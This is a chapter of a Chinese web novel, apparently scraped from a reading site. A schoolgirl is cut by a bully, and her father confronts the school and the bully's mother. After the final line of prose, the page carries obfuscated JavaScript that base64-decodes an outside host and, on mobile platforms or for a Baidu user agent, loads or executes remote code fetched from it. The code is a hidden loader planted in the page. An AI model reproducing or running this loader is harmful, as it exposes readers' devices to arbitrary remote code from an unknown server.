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家长(1 / 2)

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教导主任姓张,是个约莫四十来岁的中年男人,虽然他努力地拿周围的头发遮掩着最中央那一块略微秃了的头皮,但樱桃还是知道,这位可怜的教导主任果然和她的小学教导主任一样,最终会变成一个留着经典的地中海式发型的男人。

张主任亲自送她去了医务室,校医也很难见到这种被刀划伤的案例,连忙帮樱桃清创消毒。伤口如樱桃预料的一般并不深,虽然乍一看流了些血很唬人,但并没太伤到内里,甚至都不用缝针。校医一边安慰她,一边给她缠好绷带,张主任就在一边给樱桃的班主任林爽打电话:

“对,就是你们班的邹雨彤,我亲眼看见的,还有几个我看着是四班的女生,你把小吴也一起叫去我办公室吧,我这边马上好了。”他回头看了一眼樱桃这边,发现校医已经在给她手臂上的绷带打结了,就又压低了声音和林爽抱怨:“是,我知道,你的班不好带,学生一个二个都来路大,可是私底下有矛盾,不能闹成这样吧?幸亏今天没出大事,真有点什么事,你担得起责任吗?”

小吴就是四班的班主任,也负责教樱桃她们班的地理。樱桃起先还竖起耳朵仔细听张主任都和林爽说了些什么,后来听到他已经让林爽和吴老师分别联系涉事学生的家长了,总算是在心里松了口气。

邹雨彤跋扈惯了,她想单纯靠学生之间的伎俩排挤樱桃,樱桃却不耐烦也这样对付她。樱桃当时走出卫生间,来到摄像头的监控范围的时候,第一反应就是想办法言语上再挑衅邹雨彤一下,最好是能逼得邹雨彤再动一次手,好让她的肢体暴力能留下一个比较清晰的影像。没想到邹雨彤比樱桃设想得还要莽撞,竟然敢在大庭广众之下就拿刀伤人,但这正好合了樱桃的意,拳脚冲突很难验伤,刀伤却是实打实的,任何人看见她手上的伤口,都会知道她就是受害人。

樱桃心里轻松起来,她坐在医务室的床边,脚都不自觉地跟着晃了两下。就在这当口,张主任挂断了电话,态度非常温和地凑过来和她说话,好像生怕把她吓着似的:

“应陶同学,你伤口还疼得厉害吗?”

樱桃摇了摇头。邹雨彤举着刀的姿态虚浮疲软,樱桃料定了这一刀不会把她真得伤成什么样子,碘伏的蛰疼劲也跟着过去之后,她已经完全能做到无视这个伤口了。

张主任仔细看了看樱桃,确定她现在情绪平静,才又说:

“我们校方已经通知了你父亲,他现在正在赶来的路上了,今天这个事情,学校肯定会给你、给你们一个交代,你不要担心。”

樱桃原本还“嗯嗯”地点着头,忽然整个人都是一愣:“……啊?”

她懵了一瞬间,才反应过来,她自己也是涉事学生之一,学校通知了所有涉事学生的家长,那自然也包括了她的!

一想到应父,她立刻打了个磕巴:“为、为什么是叫了我父亲来……我记得我入学的时候联系人那里填的是我二哥……”

张主任露出一个非常无奈的表情:“你二哥是应云潜吧?他没告诉过你,他的生物就是我教的?这小子念书的时候成天和他那个狐朋狗友,叫什么来着,哦对,秦肃之,他们两个总在一起鬼混,我头发怎么白的,就是因为他俩!”他叹了口气,“这孩子他不靠谱啊,当年一惹点事我就得找家长,你爸的号码那几年我背得比谁都熟。”

樱桃万万没想到中间还有这么一茬事,她干瞪着眼,一句话也说不出来了。

如果知道这事情闹到最后会把应父也招来,她就是拼着在大冷天挨浇,被困在隔间里装缩头乌龟,也不要出去和邹雨彤打架!-

“……事情的经过就是这样的。”张主任调出监控摄像其中几帧的缩略图,“各位家长都是高素质的人,我实在不能理解,孩子们因为一些口头冲突,竟然要发展到肢体暴力的程度,这已经是十分恶劣的持刀伤人事件了。”

教导处的办公室并不算小,但一并进来了十几个人,还是显得拥挤了很多。叁班和四班的两位班主任,林爽和吴老师就站在张主任身边,以邹雨彤为首的五个女生在张主任的办公桌前面站成一排,她们的家长则坐在稍后面的沙发上。樱桃和李子婷作为受害者,分得了拐角处的一个单人沙发,李子婷还下意识地攥着樱桃的手——她还没能从之前仿佛武打片转刑侦片的事件冲击里完全回复过来,她虽然在整场事件中毫发无伤,情绪却没那么容易迅速平静下来。

李子婷的家在苍珥伴星,她的父母工作都很忙,完全没办法特意赶到主星来,只是从张主任的通讯里简单地了解了一下事情经过。李子婷小声和樱桃说:

“你爸爸真好,他一看就是工作很忙的人,还会为了你特意到学校来。”

樱桃顺着李子婷的视线看过去,应父和张主任低声交谈了几句,不知道他具体说了什么,不过从张主任的神情来看,他的态度是拒绝的。但是应父很坚持,他又说了几句话,张主任这次的音量提高了一些:

“好吧,不是不能给你看录像,刚才也给各位都看过缩略图了,但是更具体的视频,你是孩子爸爸,我怕你看见应陶受伤那段太心疼……”

应父没什么表情地瞥了樱桃一眼,又对张主任说:“你调视频吧,我心里有数。”

他这一眼一看过来,樱桃几乎是下意识地坐直了身子。但应父并没有继续看她,他亲自把视频反复拖拽观看了五遍,将鼠标还给张主任,语气很平静:

“这件事学校的处理方法我认同,这几个学生,你们该处分处分,该检讨检讨,这我都没有意见。不过,既然我女儿说这事情的起因是宿舍矛盾,那我在这里替她申请换个宿舍,这件事学校肯定能办妥吧?”

虽然天还很冷,但张主任还是擦了擦他一脑门的汗:“是这样的,应陶爸爸,普通宿舍楼的话,因为今年高二这一届女生稍微有一点多,是真的没有多余的宿舍了……”

应父说:“我家老二也是在你这上的学,你以为我不知道还有一栋艺术特长生专用的宿舍楼?”

二中有着招牌的管弦乐团和民乐团,每年都会招收许多的艺术特长生,为了方便艺术生们练习乐器,学校专门拨款建了一栋艺术生专用宿舍,每天早晚,这栋楼里都会传来无数的乐器声。

张主任说:“我这不是怕艺术宿舍吵吗,你家孩子看着安安静静的,能受得了那边的动静?”

应父回头看了一眼樱桃:“你自己觉得呢?”

这是需要她表态的关键时刻,樱桃立刻点头:“我要换宿舍。”

应父就又看向张主任。

张主任:“换,换,我们这就安排!正好,艺术楼还有空的宿舍,应陶可以自己住一间屋。”

这一场闹剧总算落下帷幕,邹雨彤五人被暂停了课程,到下周一恢复,并被要求在周一的升旗仪式上当众朗读检讨书。张主任嘴上还说了要给这几个学生记过,应父很清楚这是老师的话术,像二中这种追求升学率的学校,学生除非涉及到刑事案件,所有的处分都不会真正留存在档案上,何况以这几个女孩的家世背景,就是真的记大过,对于她们来说也意义不大。

几个女生灰溜溜地被各自家长领走,邹雨彤跟在她妈妈身后,两人正要离开教导处的时候,应父道:

“付太太,请留步。”

邹雨彤的妈妈脸色很不好看地转过身,露出非常僵硬的笑容:“……应先生,实在抱歉,我们家小孩不懂事,给您添麻烦了。”她又推推邹雨彤的后背:“快给叔叔道歉。”

邹雨彤梗着脖子没说话。

应父也不同邹雨彤计较,他看着付太太,话里有话道:“孩子犯了错,不能都怪孩子,我们做家长的也有责任,这是我们没教好。”他的语速很慢,“不过,我已经很多次在社交场合公开声明过,应陶的妈妈与我是自由恋爱,那时我的妻子已经去世了,你可以责怪我不够长情,但是无论是法律上还是道德上,应陶的妈妈都不是第叁者。”

付太太的表情变了两变:“我、我没说过她是……”

应父也不听她的解释,而是继续道:“我女儿应陶之所以直到今年才回到我们家,是因为当年是她妈妈甩了我,主动和我断了联系。应陶的妈妈是个行动上和思想上都很独立的女性,我希望付太太你,以及你的‘朋友们’,私下议论我的爱人的时候,不要再用一些侮辱性的词汇来称呼她;同时,我的二儿子是我和我妻子通过正规渠道领养的,我的女儿虽然属于非婚生子女,但是这是我的错误,并不是我女儿的,也请你尊重一下她的人格尊严,不要对着我的孩子一口一个私生子、私生女的。”他不顾付太太骤然苍白的脸色,口气仍然很慢条斯理:“付太太是知书达理的人,自己和朋友们偶尔说说别人家的闲话,这没关系,影响到你自己的孩子,这就不太好了吧?”

付太太和邹雨彤的脸上都是一阵红一阵白,应父却已经不再理会她们,而是又和还等在一边的林爽讲话:

“林老师,我还有个事情想麻烦你。”

林爽带班也有小十年的经验了,从来没出过今天这样的事情,她始终没能从惊愕和后怕中彻底回过神,现在听见应父口气温和,并不是要继续追究她的责任的意思,她眼泪都下来了:

“不麻烦不麻烦,您有什么要求,您尽管提……”

应父说:“是这样,我们应陶今天受了点惊吓,正好明天也是周五了,我又刚给她申请了换宿舍,你看,今天我把应陶带回家去可以吗,明天就先不让她来上学了,在家里歇一个周末再说。”

别说是要歇一个周末,这会应父就是说要让樱桃歇一个月,林爽都会立刻给他开一迭假条出来。她连忙点头:“可以可以,好好在家里歇一歇,家人也帮忙给孩子疏导一下情绪。实在对不住,应陶爸爸,学生之间的小矛盾,有时候我没能注意到,没及时处理,一激化就引发了这样的事情,这真的是我的失职,非常抱歉。”

她对着应父鞠了一躬,又向着坐在沙发上的樱桃和李子婷各自鞠了一躬:“老师也给你们道歉,平时对你们的关心不够,我从来没想过我自己的班上会有这样的事……”

樱桃没想到林爽的态度这样诚恳,她还在愣神,李子婷已经一下子从沙发上弹了起来,连连摆手道:“林老师,这不怪你,也是我没和您提过……”

她一开口,眼泪就淌了下来,林爽一把将她抱在怀里,两个人全都哭了。

那边师生两个哭得教导处几乎成了水帘洞,应父按了按太阳穴,低下头看看小女儿:

“你回教室收拾一下书包吧,一会我们回家。”

樱桃一声没敢吭,她飞快地回到教室收拾好了随身的物品,顶着一众同学或好奇或震惊的视线走出教室的时候,应父就在走廊上等着她:

function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};
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